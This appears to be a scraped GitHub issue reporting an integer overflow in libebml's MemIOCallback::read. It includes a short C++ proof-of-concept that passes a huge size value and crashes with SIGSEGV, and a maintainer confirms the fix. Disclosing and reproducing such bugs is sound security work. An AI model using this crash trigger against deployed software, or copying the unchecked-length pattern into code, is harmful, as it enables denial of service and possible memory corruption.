We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
function MemIOCallback::read at line 70 has an integer overflow:
POC code as below:
#include "ebml/MemIOCallback.h" using namespace libebml; int main() { char buff[128] = {}; MemIOCallback memoryBuffer; memoryBuffer.write(buff, 124); char outBuff[128]; memoryBuffer.read(outBuff, 0xfffffffffffffff0); return 0; }
terminal output is:
Process finished with exit code 139 (interrupted by signal 11: SIGSEGV)
The text was updated successfully, but these errors were encountered:
Indeed, thanks a lot for this finding! There was also some potential issue when writing.
Sorry, something went wrong.
Successfully merging a pull request may close this issue.
function MemIOCallback::read at line 70 has an integer overflow:
![image](https://private-user-images.githubusercontent.com/10611970/279592822-ed169f1c-9ab3-43dd-8aa0-9f210130d544.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MTk2NzA1NDcsIm5iZiI6MTcxOTY3MDI0NywicGF0aCI6Ii8xMDYxMTk3MC8yNzk1OTI4MjItZWQxNjlmMWMtOWFiMy00M2RkLThhYTAtOWYyMTAxMzBkNTQ0LnBuZz9YLUFtei1BbGdvcml0aG09QVdTNC1ITUFDLVNIQTI1NiZYLUFtei1DcmVkZW50aWFsPUFLSUFWQ09EWUxTQTUzUFFLNFpBJTJGMjAyNDA2MjklMkZ1cy1lYXN0LTElMkZzMyUyRmF3czRfcmVxdWVzdCZYLUFtei1EYXRlPTIwMjQwNjI5VDE0MTA0N1omWC1BbXotRXhwaXJlcz0zMDAmWC1BbXotU2lnbmF0dXJlPWJhNDZiMWRjNmViNjBjMTRmY2VhMGM3OTVkNDA5MzA5NWI3ZThjZTRkOTA3ZWQ4MTIwZWMwMjQ4OWFiZGM5MDEmWC1BbXotU2lnbmVkSGVhZGVycz1ob3N0JmFjdG9yX2lkPTAma2V5X2lkPTAmcmVwb19pZD0wIn0.PCk4Lg-5mTbA2eeEOnJ3Qnak0CkPfDXKRVzM12LB3C4)
POC code as below:
terminal output is:
The text was updated successfully, but these errors were encountered: